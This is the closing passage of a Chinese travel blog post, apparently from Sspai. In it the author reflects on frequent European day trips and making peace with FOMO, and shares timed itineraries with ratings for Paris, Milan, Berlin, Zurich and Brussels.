原因其五则是,这样高频、快节奏、高刺激的旅行模式也在重塑我大脑的神经回路,让我不停地在期待旅行、回味旅行、期待下一次旅行中横跳,以至于有连续三个周末没有安排什么事时,会觉得「居然周六就把菜买好了,好无聊不知道周末做什么」。又因为期待三周后的下一场旅行,有意选择性遗忘还需要我处理的各种生活事务,和工作之余的自我提升,直到所有计划的旅行结束后才捡起这烂摊子,训练自己重回原先的生活方式也花了一点时间。旅行不是逃避现实的解药,也不能像社交媒体上说的那样「帮我重拾生活的勇气」;对我来说,要直视问题,解决问题,要把旅行当成休息,而不是逃避、获得快乐和刺激的方法。

结语

开头说我这么高频次的短途旅行,是因为想要找个办法治治自己的 FOMO。后来在这么多次的旅行中,真的慢慢和 FOMO 和解了。

一日游中多去一个景点至少是 1h 的投入,随便加一个都太奢侈;而多日长途游的时候,交通行程日的空闲时间常常到拉长至 2–3 小时,多加好几个景点都容易觉得「快点收拾行李就赶得及」,反而搞得走马观花、巨细皆遗。时间有限了,做计划的阶段,反而能更快看明白,某个景点会出现在我的目的地清单中,到底是因为它真的有吸引我的地方,还是只是随手收藏一下。

其次,「当日往返」的行程会给我很强烈的心理暗示:「这个地方我还能轻松地来第二次」。我 FOMO 的原因之一就是「担心这个地方来不了第二次了,所以必须一次看完」,但这些旅行经验让我更加觉得「欧洲就是后花园一样的存在」,而我既有说走就走的精力和体力,也有计划各式各样旅途的能力。既然我过来这么轻松,以后何愁没有机会再来?

我真正需要有 FOMO 的地方反而是那些因为自然环境变化而即将消逝的自然景观、政局不稳定可能随时消失的地方,但这些都是我短期内没法放心自己去体验的地方。至少在欧洲,我想以后我都不会给自己太大的压力了。想想二十年后,还真是期待啊。

外篇

在此也分享一下我在这五座城市的旅行计划,供感兴趣者参考:

巴黎

时间行程评价
10:30巴黎歌剧院拍照好看
13:30埃菲尔铁塔值得一去
15:00凯旋门 + 香榭丽舍大街拍拍照可以
17:00卢浮宫(闭馆日,没进去)应该进去看

米兰

时间行程评价
10:00米兰大教堂登顶 + 内部 + 博物馆值得一去
15:00《最后的晚餐》值得一去

柏林

时间行程评价
11:00洪堡论坛值得花一天
14:00新博物馆值得看但体验差
16:00柏林大教堂来都来了

苏黎世

时间行程评价
10:30Museum Reitberg值得一去
15:30林登霍夫山随便逛逛
16:30ETH Zurich随便逛逛

布鲁塞尔

时间行程评价
10:00老城区闲逛 + 吃华夫饼来都来了
13:00圣弥额尔圣古都勒主教座堂还行吧
14:30比利时皇家美术馆值得一去
17:00原子塔 Atomium来都来了

> 关注 少数派小红书,感受精彩数字生活 🍃

> 实用、好用的 正版软件,少数派为你呈现 🚀